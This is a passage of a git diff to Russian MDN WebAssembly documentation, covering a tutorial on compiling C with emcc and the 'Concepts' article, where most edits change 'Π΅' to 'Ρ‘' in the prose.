+ <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ снова займёмся этапом компиляции. Π’Π½ΡƒΡ‚Ρ€ΠΈ вашСго послСднСго ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π», скомпилируйтС ваш Π‘ΠΈ ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ. (ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ компиляции ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽΒ NO_EXIT_RUNTIME, ΠΈΠ½Π°Ρ‡Π΅ послС выполнСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>main()</code>, Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊ Π²Ρ‹Π·ΠΎΠ²Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ atexits ΠΈ дальшС Π±ΡƒΠ΄Π΅Ρ‚Β Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш скомпилированный ΠΊΠΎΠ΄.Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами это нСобходимо для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ эмуляции Π‘ΠΈ.)</p>
<pre class="brush: bash">emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1Β  -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]'</pre>
</li>
<li>
- <p>Если Π²Ρ‹ снова запуститС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ Π΄ΠΎ этого!</p>
+ <p>Если Π²Ρ‹ снова запуститС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ Π΄ΠΎ этого!</p>
</li>
<li>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>myFunction()</code> ΠΈΠ· JavaScript. ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β {{htmlelement("button")}} ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅,Β Ρ‡ΡƒΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ‚Π΅Π³Π°Β <code>&lt;script type='text/javascript'&gt;</code>.</p>
diff --git a/files/ru/webassembly/concepts/index.html b/files/ru/webassembly/concepts/index.html
index dde3fc40a4..2f1caad232 100644
--- a/files/ru/webassembly/concepts/index.html
+++ b/files/ru/webassembly/concepts/index.html
@@ -5,7 +5,7 @@ translation_of: WebAssembly/Concepts
---
<div>{{WebAssemblySidebar}}</div>
-<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС Ρ€Π°Π±ΠΎΡ‚Ρ‹ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ WebAssembly, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΅Π΅ Ρ†Π΅Π»ΠΈ, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° Ρ€Π΅ΡˆΠ°Π΅Ρ‚, ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π΄Π²ΠΈΠΆΠΊΠ΅ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС Ρ€Π°Π±ΠΎΡ‚Ρ‹ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ WebAssembly, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΅Ρ‘ Ρ†Π΅Π»ΠΈ, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° Ρ€Π΅ΡˆΠ°Π΅Ρ‚, ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π΄Π²ΠΈΠΆΠΊΠ΅ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_WebAssembly">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ WebAssembly?</h2>
@@ -17,11 +17,11 @@ translation_of: WebAssembly/Concepts
<h2 id="Π¦Π΅Π»ΠΈ_WebAssembly">Π¦Π΅Π»ΠΈ WebAssembly</h2>
-<p>ВСхнология WebAssembly создаСтся ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ стандарт Π²Π½ΡƒΡ‚Ρ€ΠΈ <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ цСлями:</p>
+<p>ВСхнология WebAssembly создаётся ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ стандарт Π²Π½ΡƒΡ‚Ρ€ΠΈ <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ цСлями:</p>
<ul>
<li>Π‘Ρ‹Ρ‚ΡŒ быстрым, эффСктивным ΠΈ пСрСносимым - ΠΊΠΎΠ΄ WebAssembly ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ практичСски Π½Π° СстСствСнной скорости Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ прСимущСства <a href="http://webassembly.org/docs/portability/#assumptions-for-efficient-execution">Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ… возмоТностСй</a>.</li>
- <li>Π‘Ρ‹Ρ‚ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ - WebAssembly - это Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ассСмблСрный язык, Π½ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ (спСцификация для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅Ρ‰Π΅ дорабатываСтся), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΈΡΠ°Ρ‚ΡŒ, ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ.Β Β Β </li>
+ <li>Π‘Ρ‹Ρ‚ΡŒ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ - WebAssembly - это Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ассСмблСрный язык, Π½ΠΎ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкстовый Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ (спСцификация для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅Ρ‰Ρ‘ дорабатываСтся), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΈΡΠ°Ρ‚ΡŒ, ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ.Β Β Β </li>
<li>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ - ΠΊΠΎΠ΄ WebAssembly ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для запуска Π² бСзопасной, ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ срСдС выполнСния. Как ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²Π΅Π±-ΠΊΠΎΠ΄, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ бСзопасности Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
<li>НС Ρ€Π°Π·Ρ€ΡƒΡˆΠ°Ρ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π²Π΅Π± - тСхнология WebAssembly Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° прСкрасно сочСтаСтся с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π²Π΅Π±-тСхнологиями ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ.</li>
</ul>
@@ -41,7 +41,7 @@ translation_of: WebAssembly/Concepts
<p>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ Π’Πœ ΠΌΠΎΠ³Π»Π° Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ JavaScript. РаньшС нас это Π²ΠΏΠΎΠ»Π½Π΅ устраивало, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript достаточно ΠΌΠΎΡ‰Π½Ρ‹ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Однако ΠΌΡ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript для Π±ΠΎΠ»Π΅Π΅ Π½Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… сцСнариСв использования, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ 3D-ΠΈΠ³Ρ€Ρ‹, Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ ΠΈ дополнСнная Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠ΅ Π·Ρ€Π΅Π½ΠΈΠ΅, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ / Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π² рядС Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (см. <a href="http://webassembly.org/docs/use-cases/">Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ использования WebAssembly</a> Π³Π΄Π΅ описано большС ΠΈΠ΄Π΅ΠΉ).</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π°Π½Π°Π»ΠΈΠ·Π° ΠΈ компиляции ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΠΎΠΌΠ΅Ρ€Π½ΠΎ высокой. ΠœΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Π² рСсурсах ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ½ΠΈΠ·ΠΈΡ‚ΡŒΒ  ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π°Π½Π°Π»ΠΈΠ·Π° ΠΈ компиляции ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΠΎΠΌΠ΅Ρ€Π½ΠΎ высокой. ΠœΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Π² рСсурсах ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ½ΠΈΠ·ΠΈΡ‚ΡŒΒ  ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
<p>Π―Π·Ρ‹ΠΊ WebAssembly отличаСтся ΠΎΡ‚ языка JavaScript, Π½ΠΎ ΠΎΠ½ Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π΅Π³ΠΎ Π·Π°ΠΌΠ΅Π½Ρ‹. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для дополнСния ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ вмСстС с JavaScript, Ρ‡Ρ‚ΠΎ позволяСт Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ прСимущСства ΠΎΠ±ΠΎΠΈΡ… языков:</p>
@@ -59,19 +59,19 @@ translation_of: WebAssembly/Concepts
<p>Π•ΡΡ‚ΡŒ нСсколько ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… понятий, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для понимания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ WebAssembly Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. ВсС эти понятия ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Ρ‹ 1:1 Π² <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a>.</p>
<ul>
- <li><strong>ΠœΠΎΠ΄ΡƒΠ»ΡŒ</strong>: ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» WebAssembly, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» скомпилирован Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π² исполняСмый ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄. ΠœΠΎΠ΄ΡƒΠ»ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/API/Blob">Blob</a>, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ ΠΌΠ΅ΠΆΠ΄Ρƒ windows ΠΈ workers (Ρ‡Π΅Ρ€Π΅Π· <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π΅ΡΡ‚ΡŒ объявлСниС ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° ΠΈ экспорта Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ES2015.</li>
+ <li><strong>ΠœΠΎΠ΄ΡƒΠ»ΡŒ</strong>: ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» WebAssembly, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» скомпилирован Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Π² исполняСмый ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄. ΠœΠΎΠ΄ΡƒΠ»ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/API/Blob">Blob</a>, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ явным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½ ΠΌΠ΅ΠΆΠ΄Ρƒ windows ΠΈ workers (Ρ‡Π΅Ρ€Π΅Π· <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). Π’ ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π΅ΡΡ‚ΡŒ объявлСниС ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° ΠΈ экспорта Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ES2015.</li>
<li><strong>ΠŸΠ°ΠΌΡΡ‚ΡŒ</strong>: Массив ArrayBuffer измСняСмого Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ массив Π±Π°ΠΉΡ‚ΠΎΠ², считываСмых ΠΈ записываСмых инструкциями Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ³ΠΎ доступа ΠΊ памяти Π² WebAssembly.Β </li>
<li><strong>Π’Π°Π±Π»ΠΈΡ†Π°</strong>: Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив ссылок измСняСмого Ρ€Π°Π·ΠΌΠ΅Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² памяти Π² Π²ΠΈΠ΄Π΅ Π±Π°ΠΉΡ‚ΠΎΠ² (ΠΏΠΎ сообраТСниям бСзопасности ΠΈ пСрСносимости).</li>
- <li><strong>ЭкзСмпляр</strong>: ΠœΠΎΠ΄ΡƒΠ»ΡŒ Π² ΠΏΠ°Ρ€Π΅ со своим состояниСм, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π²ΠΎ врСмя выполнСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠ°ΠΌΡΡ‚ΡŒ, Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Π½Π°Π±ΠΎΡ€ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ЭкзСмпляр  модуля ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ES2015, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΎΠ².</li>
+ <li><strong>ЭкзСмпляр</strong>: ΠœΠΎΠ΄ΡƒΠ»ΡŒ Π² ΠΏΠ°Ρ€Π΅ со своим состояниСм, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π²ΠΎ врСмя выполнСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠ°ΠΌΡΡ‚ΡŒ, Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΈ Π½Π°Π±ΠΎΡ€ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ЭкзСмпляр  модуля ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ES2015, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΎΠ².</li>
</ul>
